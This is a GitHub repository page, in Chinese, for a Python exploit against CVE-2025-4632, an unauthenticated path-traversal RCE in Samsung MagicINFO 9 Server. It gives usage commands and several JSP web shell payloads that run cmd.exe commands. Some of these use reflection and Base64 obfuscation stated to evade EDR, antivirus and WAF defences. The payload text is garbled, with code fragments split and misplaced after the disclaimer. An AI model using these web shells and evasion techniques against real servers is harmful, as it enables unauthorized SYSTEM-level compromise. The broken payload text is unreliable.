digitalsurgn/CVE-2025-4632_POC
GitHub: digitalsurgn/CVE-2025-4632_POC
针对 Samsung MagicINFO 9 Server 未授权路径遍历导致的 RCE 漏洞(CVE-2025-4632)提供 Python 利用脚本,支持多种绕过 WAF 和 EDR 的 Web Shell 部署方式。
Stars: 0 | Forks: 0
# Samsung MagicINFO 9 Server 漏洞利用 (CVE-2025-4632)
本仓库包含一个用于 CVE-2025-4632 的 Python 复现脚本,该漏洞是 Samsung MagicINFO 9 Server(21.1052 之前的版本)中的一个未授权远程代码执行 (RCE) 漏洞。
该漏洞的存在是因为 `SWUpdateFileUploader` servlet 对路径名的限制不当。通过利用路径遍历(`../../`),未授权的攻击者可以使用 `SYSTEM` 权限写入任意文件,从而导致服务器被完全攻陷。
## 工作原理
该脚本自动生成看似合法的设备更新请求。它通过注入目录遍历序列来利用 `fileName` 参数,从而跳出预期的上传目录并将文件直接写入 Web 根目录(`/MagicInfo/`)。
该脚本执行两个步骤:
1. **POST 请求:** 将带有遍历路径的 payload 发送到 `/MagicInfo/servlet/SWUpdateFileUploader`。
2. **GET 请求(验证):** 自动尝试访问上传到 `/MagicInfo/` 的文件,以确认漏洞是否利用成功。
## 使用方法
```
python exploit_magicinfo.py -t -f -d
```
### 参数:
* `-t` / `--target`:目标的基础 URL(例如,`http://192.168.1.100:7001`)。
* `-f` / `--filename`:要创建的文件名(例如,`shell.jsp`)。
* `-d` / `--data`:要写入文件的原始内容。
## 渗透测试 Payload 示例
以下 payload 在评估活动中已成功测试。它们旨在绕过终端安全防护的同时证明漏洞影响。
### 1. 良性概念验证(影响验证)
用于安全地确认 JSP 执行,而不会触发杀毒软件或 EDR。
```
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
```
*访问地址:* `http://:7001/MagicInfo/poc.jsp`
### 2. 标准命令执行 Shell
标准的 JSP Web Shell。**注意:** 这可能会被现代 AV/EDR 解决方案捕获并隔离,导致在验证时收到 `404 Not Found`。
```
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print(":7001/MagicInfo/cmd.jsp?c=whoami`
### 3. 混淆命令执行(绕过 EDR/AV)
当标准 shell 被阻止时使用。此 payload 使用 Java 反射来向静态分析隐藏 `Runtime.getRuntime().exec` 签名。
```
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print(":7001/MagicInfo/bypass.jsp?c=whoami /all`
### 4. 高级 Base64 混淆 Shell(绕过 WAF 和 URL 解析)
**强烈推荐用于复杂命令:** 如果您在尝试运行包含空格、反斜杠或特殊字符(例如 `dir c:\`)的命令时遇到 `400 Bad Request` 错误,这说明服务器的严格 URI 验证或 WAF 拦截了该请求。
此高级 payload 要求在 URL 中以 **Base64 编码** 的形式传递命令。它会在服务端执行前进行解码,完全绕过 URL 过滤,并对网络监控器隐藏命令。
```
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print(":7001/MagicInfo/b64.jsp?c=d2hvYW1p`
* `tasklist /svc` -> `dGFza2xpc3QgL3N2Yw==`
* *访问地址:* `http://:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==`
* `dir c:\` -> `ZGlyIGM6XA==`
* *访问地址:* `http://:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==`
*免责声明:此脚本仅用于教育和授权的渗透测试目的。*
"); while ((l = in.readLine()) != null) { out.println(l); } out.print(""); } %>'
```
*访问地址:* `http://"+(s.hasNext()?s.next():"")+"");} %>' ``` *访问地址:* `http://
"+(s.hasNext()?s.next():"")+"");} %>' ``` **使用示例:** 在本地将命令编码为 Base64(例如,`echo -n "dir c:\" | base64`),然后将其传递给 `c` 参数。 * `whoami` -> `d2hvYW1p` * *访问地址:* `http://
标签:CISA项目, CVE-2025-4632, JSP Webshell, POC, RCE, SYSTEM权限, Web安全, Web报告查看器, 三星 MagicINFO 9, 任意文件写入, 企业安全, 数据展示, 未授权访问, 漏洞复现, 红队, 编程工具, 网络安全, 网络资产管理, 蓝队分析, 路径遍历, 远程代码执行, 逆向工具, 隐私保护